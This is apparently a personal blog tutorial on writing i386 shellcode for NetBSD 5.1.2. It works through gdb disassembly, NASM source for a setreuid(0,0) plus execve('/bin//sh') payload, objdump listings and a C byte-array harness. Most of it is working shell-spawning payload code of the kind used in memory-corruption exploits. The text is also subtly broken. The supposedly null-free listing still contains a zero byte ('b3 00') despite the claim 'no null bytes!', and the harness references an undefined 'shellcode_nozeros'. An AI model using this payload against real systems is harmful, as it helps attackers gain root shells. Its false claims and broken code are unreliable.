Skip to content

NetBSD i386 shellcoding

This article shows basic shellcoding on NetBSD/i386. I hope this won’t be the last on exploitation BSD archs.
The playground is prepared with a fresh NetBSD 5.1.2 installation, virtualized with kvm.

net# uname -a
NetBSD net 5.1.2 NetBSD 5.1.2 (GENERIC) #0: Thu Feb  2 17:22:10 UTC 2012  
builds@b6.netbsd.org:/home/builds/ab/netbsd-5-1-2-RELEASE/i386/201202021012Z-obj/home/builds/ab/netbsd-5-1-2-RELEASE/src/sys/arch/i386/compile/GENERIC i386

For shellcoding, we need how syscall works on NetBSD. To check, compile with –static the following peace of code:

#include 

int main()
{
  exit(5);
}

Now, use gdb to disassemble the exit syscal code:

(gdb)  disass exit
Dump of assembler code for function exit:
0x08048360 :    push   %ebp
0x08048361 :    mov    %esp,%ebp
0x08048363 :    sub    $0x14,%esp
0x08048366 :    push   $0x0
0x08048368 :    call   0x80483ac <__cxa_finalize>
0x0804836d :   mov    0x806cfdc,%eax
0x08048372 :   add    $0x10,%esp
0x08048375 :   test   %eax,%eax
0x08048377 :   je     0x804837b 
0x08048379 :   call   *%eax
0x0804837b :   sub    $0xc,%esp
0x0804837e :   pushl  0x8(%ebp)
0x08048381 :   call   0x80491c0 <_exit>
0x08048386 :   nop    
0x08048387 :   nop    
End of assembler dump.
(gdb)  

Notice the instruction at 0x08048381 , it is the real call to _exit, which is at 0x80491c0

(gdb) disass 0x80491c0
Dump of assembler code for function _exit:
0x080491c0 <_exit+0>:   mov    $0x1,%eax
0x080491c5 <_exit+5>:   int    $0x80
0x080491c7 <_exit+7>:   ret    
0x080491c8 <_exit+8>:   nop    
0x080491c9 <_exit+9>:   nop    
0x080491ca <_exit+10>:  nop    
0x080491cb <_exit+11>:  nop    
0x080491cc <_exit+12>:  nop    
0x080491cd <_exit+13>:  nop    
0x080491ce <_exit+14>:  nop    
0x080491cf <_exit+15>:  nop    
End of 

We can observe how syscalls works:

  1. %eax register holds the syscall number (from)
  2. the syscall params are passed with the help of the stack, in reverse order
  3. an extra long must be pushed onto the stack (c convention?)

Lets check the execve syscall:

net# gdb ./execve

disasGNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386--netbsdelf"...s (no debugging symbols found)

(gdb)
(gdb) disass main
Dump of assembler code for function main:
0x0804832c :    lea    0x4(%esp),%ecx
0x08048330 :    and    $0xfffffff0,%esp
0x08048333 :    pushl  0xfffffffc(%ecx)
0x08048336 :   push   %ebp
0x08048337 :   mov    %esp,%ebp
0x08048339 :   push   %ecx
0x0804833a :   sub    $0x14,%esp
0x0804833d :   movl   $0x8063a85,0xfffffff4(%ebp)
0x08048344 :   movl   $0x0,0xfffffff8(%ebp)
0x0804834b :   sub    $0x4,%esp
0x0804834e :   push   $0x0
0x08048350 :   lea    0xfffffff4(%ebp),%eax
0x08048353 :   push   %eax
0x08048354 :   push   $0x8063a85
0x08048359 :   call   0x8048370 
0x0804835e :   add    $0x10,%esp
0x08048361 :   mov    0xfffffffc(%ebp),%ecx
0x08048364 :   leave  
0x08048365 :   lea    0xfffffffc(%ecx),%esp
0x08048368 :   ret    
0x08048369 :   nop    
0x0804836a :   nop    
0x0804836b :   nop    
0x0804836c :   nop    
0x0804836d :   nop    
0x0804836e :   nop    
0x0804836f :   nop    
End of assembler dump.
(gdb)  
(gdb) 
(gdb) 
(gdb) 
(gdb) 
(gdb) disass 0x8048370
Dump of assembler code for function execve:
0x08048370 :  mov    $0x3b,%eax
0x08048375 :  int    $0x80
0x08048377 :  jb     0x804837a 
0x08048379 :  ret    
0x0804837a : jmp    0x8049220 <__cerror>
0x0804837f : nop    
End of assembler dump.
(gdb) 

let write some code!:

;
; from http://wiki.netbsd.org/examples/netbsd_assembly/
; root@libcrack.so
;
section .note.netbsd.ident
        dd      0x07,0x04,0x01
        db      "NetBSD",0x00,0x00
        dd      400000003


section .text
    global _start

_start:

    ; setreuid is obsolete! now use setuid & setruid

    ; setreuid(0,0)
    cltd   
    push   edx      ; null param
    push   edx      ; null param
    mov    eax,0x7e ; syscall nr
    push   eax      ; extra long
    int    0x80

    ; execve("/bin//sh",{"/bin//sh",NULL},NULL)
    push   edx
    push   0x68732f2f
    push   0x6e69622f
    mov    ebx,esp   ; save ebx -> &/bin/sh0
    push   edx       ; edx -> null
    push   esp       ; esp -> &null,&/bin/sh0
    push   ebx       ; ebx -> &/bin/sh0
    xor    al,0x3b   ; syscall nr 59
    push   eax       ; extra long
    int    0x80

    ; exit()
    mov eax, 0x01 ; SYS_exit
    push 0x00 ; 0 arg
    push 0x00 ; extra long
    int 0x80


Compile and execute:

net# nasm -f elf la.asm 
net# ld -s -o la la.o 
net# ./la
#

Works Perfect

The generated shellcode contains some null bytes:

net# objdump -d la

la:     file format elf32-i386

Disassembly of section .text:

080480b0 <.text>:
 80480b0:       52                      push   %edx
 80480b1:       52                      push   %edx
 80480b2:       b8 7e 00 00 00          mov    $0x7e,%eax
 80480b7:       50                      push   %eax
 80480b8:       cd 80                   int    $0x80
 80480ba:       52                      push   %edx
 80480bb:       68 2f 2f 73 68          push   $0x68732f2f
 80480c0:       68 2f 62 69 6e          push   $0x6e69622f
 80480c5:       89 e3                   mov    %esp,%ebx
 80480c7:       52                      push   %edx
 80480c8:       54                      push   %esp
 80480c9:       53                      push   %ebx
 80480ca:       34 3b                   xor    $0x3b,%al
 80480cc:       50                      push   %eax
 80480cd:       cd 80                   int    $0x80
 80480cf:       b8 01 00 00 00          mov    $0x1,%eax
 80480d4:       68 00 00 00 00          push   $0x0
 80480d9:       68 00 00 00 00          push   $0x0
 80480de:       cd 80                   int    $0x80
net# 

So, a new version with no null bytes is needed 😉

; root@libcrack.so
;
section .note.netbsd.ident
        dd      0x07,0x04,0x01
        db      "NetBSD",0x00,0x00
        dd      400000003

section .text
    global _start

_start:

    ; setreuid is obsolete! now use setuid & setruid

    ; setreuid(0,0)
    cltd   
    push        edx
    push        edx
    mov byte    al,0x7e
    push        eax
    int         0x80

    ; execve("/bin//sh",{"/bin//sh",NULL},NULL)
    push   edx
    push   0x68732f2f
    push   0x6e69622f
    mov    ebx,esp   ; save ebx -> &/bin/sh0
    push   edx       ; edx -> null
    push   esp       ; esp -> &null,&/bin/sh0
    push   ebx       ; ebx -> &/bin/sh0
    xor byte    al,0x3b
    push   eax
    int    0x80

    ; exit(0)
    mov byte al, 0x01 
    mov byte bl, 0x0
    push byte ebx
    push byte ebx
    int 0x80

net# nasm -f elf nonull.asm 
nonull.asm:18: warning: label alone on a line without a colon might be in error
nonull.asm:40: warning: register size specification ignored
nonull.asm:41: warning: register size specification ignored
net# ld -s -o nonull nonull.o
net# ./nonull 
# exit

Great! Let’s check the presence of null bytes:

net# objdump -d nonull

nonull:     file format elf32-i386

Disassembly of section .text:

080480b0 <.text>:
 80480b0:       52                      push   %edx
 80480b1:       52                      push   %edx
 80480b2:       b0 7e                   mov    $0x7e,%al
 80480b4:       50                      push   %eax
 80480b5:       cd 80                   int    $0x80
 80480b7:       52                      push   %edx
 80480b8:       68 2f 2f 73 68          push   $0x68732f2f
 80480bd:       68 2f 62 69 6e          push   $0x6e69622f
 80480c2:       89 e3                   mov    %esp,%ebx
 80480c4:       52                      push   %edx
 80480c5:       54                      push   %esp
 80480c6:       53                      push   %ebx
 80480c7:       34 3b                   xor    $0x3b,%al
 80480c9:       50                      push   %eax
 80480ca:       cd 80                   int    $0x80
 80480cc:       b0 01                   mov    $0x1,%al
 80480ce:       b3 00                   mov    $0x0,%bl
 80480d0:       53                      push   %ebx
 80480d1:       53                      push   %ebx
 80480d2:       cd 80                   int    $0x80
net# 

Nice! no null bytes! ;-D

C version of the shellcode array:

char shellcode[]=
"\x52"            
"\x52"            
"\xb0\x7e"         
"\x50"            
"\xcd\x80"         
"\x52"            
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"         
"\x52"            
"\x54"            
"\x53"            
"\x34\x3b"         
"\x50"            
"\xcd\x80"         
"\xb0\x01"         
"\xb3\x00"         
"\x53"            
"\x53"            
"\xcd\x80";

int main (int argc, char **argv)
{
        int (*ret)();              
        ret = (int(*)())shellcode_nozeros;
        (int)(*ret)();             

        return 0;
}

Happy Hacking! ;-D

Good link to read:

http://wiki.netbsd.org/examples/netbsd_assembly/

Published indebugginghackingNetBSD